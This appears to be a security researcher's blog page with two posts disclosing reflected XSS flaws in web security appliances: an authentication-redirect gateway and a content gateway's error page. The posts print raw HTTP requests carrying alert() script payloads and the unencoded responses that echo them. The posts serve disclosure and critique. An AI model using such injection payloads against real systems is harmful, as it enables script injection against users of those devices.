Showing posts with label security device. Show all posts
Showing posts with label security device. Show all posts

Friday, March 5, 2010

more xss introduced by security devices

soooo, i found this a while back, and it may be patched or who knows... but i (re?)'rediscovered' it n kinda had to be snarky n vocal about it... such a surprise, i know ;)

it's kinda similar to the xss introduced by an intermediate security device post from a bit back...

i see a little light-weight web server i'm not familiar with, and kinda assume it had to be made in the last i donno... 10 years? so these guys who made it are sitting around a table and they're like:

"hey, let's make (or buy) this simple http server that just does some simple stuff really well and *nothing else*, and use it as a workhorse for these expensive widgets we want to sell!"

and later, someone says:

"man, we need a simple http server to run this security service that authenticates unknown users" and they build it into a security-ish widget...

an unauthenticated user requests a page:

GET /somethin.aspx?foo=bar HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; ...)
Accept: */*
Pragma: no-cache
Host: somehost.domain.tld

...



and the little server that could redirects them to authenticate:

HTTP/1.1 200 OK
Server: ********gw
Content-Type: text/html
...

<HTML><HEAD><TITLE>***********************Authentication Redirect</TITLE><META http-equiv="Cache-control" content="no-cache"><META http-equiv="Pragma" content="no-cache"><META http-equiv="Expires" content="-1"><META http-equiv="refresh" content="1; URL=https://an.auth.svr/login.html?redirect=http://somehost.domain.tld/somethin.aspx?foo=bar"></HEAD></HTML>


of course the server encodes the output reflected in th-...


GET /somethin.aspx?foo=bar"></head><body><script>alert('wot?')</script></body> HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; ...)
Accept: */*
Pragma: no-cache
Host: somehost.domain.tld

...


HTTP/1.1 200 OK
Server: ********gw
Content-Type: text/html
...

<HTML><HEAD><TITLE>***********************Authentication Redirect</TITLE><META http-equiv="Cache-control" content="no-cache"><META http-equiv="Pragma" content="no-cache"><META http-equiv="Expires" content="-1"><META http-equiv="refresh" content="1; URL=https://an.auth.svr/login.html?redirect=http://somehost.domain.tld/sometin.aspx?foo=bar"></head><body><script>alert('wot?')</script></body>"></HEAD></HTML>


you've gotta wonder... how many code releases and updates has the server gone through, since... ummmm.... 2005? You know, have you thought about output encoding in the last *5 years* since an xss worm made headlines w/ mainstream media? how much revenue did this bring you in the last 5 years? annnnnd how much is a simple static or dynamic analysis?

that's not to say that this looks wormy, for a couple of reasons. plus, modern anti-xss filters seem to protect against it.

one interesting bit is that the redirect values are completely arbitrary and seamless in the browser, which mb makes a targeted attack easier because the victim URL can be anything...?


***note: the vuln here is _not_ in msnbc.com***
***another note: ie8 anti-xss filter disabled for this screenshot***

other than that, it doesn't look like anything terribly special really, and someone has prolly already posted somethin about it somewhere, cause you just kinda trip over it if get within 30 feet of the server...

anywho, that's all for now ;)

Sunday, November 22, 2009

xss introduced by an intermediate security device

during a web app assessment there were some apache HTTP Host and Expect header XSS vulns reported, but the version of apache running on the server was newer than the affected versions and shouldn't be vulnerable.

looking closer at the data i realized there were security devices inline during the assessment (*my bad*)... hrmmmmm....

so i found an unfiltered connection, and sure enough the web server was properly output encoding the responses:

GET / HTTP/1.1
Host: www.someserver.tld
Expect: <script>alert('XSS');</script>

=-=-=-=-=-=-=-=-=-=-

HTTP/1.1 417 Expectation Failed
Date: Sun, 01 Nov 2009 03:03:03 GMT
Server: Apache/2.x.x
Content-Length: 488
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>417 Expectation Failed</title>
</head><body>
<h1>Expectation Failed</h1>
<p>The expectation given in the Expect request-header field could not be met by this server.</p>
<p>The client sent<pre>
Expect: &lt;script&gt;alert('XSS');&lt;/script&gt;
</pre>
but we only allow the 100-continue expectation.</p>
<hr>
<address>Apache/2.x.x Server at www.someserver.tld Port 80</address>
</body></html>


so back to the filtered connection. here the intermediate security device examines the request, sees the unexpected / error condition, and informs the user. but in the error page they are reflecting user controlled content without output encoding it... doh:


HTTP/1.1 500 Unknown Host
Date: Sun, 01 Nov 2009 19:19:19 GMT
Connection: close
Via: HTTP/1.1 sec-device-hostname (********-Content_Gateway/7.x.x [x x x ])
Cache-Control: no-store
Content-Type: text/html
Content-Language: en
Content-Length: 463

<HEAD><TITLE>Unknown Host</TITLE></HEAD>
<BODY BGCOLOR="white" FGCOLOR="black"><H1>Unknown Host</H1><HR>
<FONT FACE="Helvetica,Arial"><B>
Description: Unable to locate the server named "<em><script>alert('XSS')</script></em>" --- the server does not have a DNS entry. Perhaps there is a misspelling in the server name, or the server no longer exists. Double-check the name and try again.</B></FONT>
<HR>
<!-- default "Unknown Host" response (500) -->
</BODY>

=-=-=-=-=-=-=-=-=-


HTTP/1.1 417 Expectation Failed
Date: Sun, 01 Nov 2009 19:19:19 GMT
Server: Apache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>417 Expectation Failed</TITLE>
</HEAD><BODY>
<H1>Expectation Failed</H1>
The expectation given in the Expect request-header
field could not be met by this server.<P>
The client sent<PRE>
Expect: <script>alert('XSS');</script>
</PRE>
but we only allow the 100-continue expectation.
</BODY></HTML>


we all make mistakes i guess :(

so there's nothing earth shattering here. i don't think there's a risk of wide spread issues, but maybe targetted attacks. and all from installing a security device. bleh...


***update: more of the same - http://rwnin.blogspot.com/2010/03/more-xss-introduced-by-security-devices.html***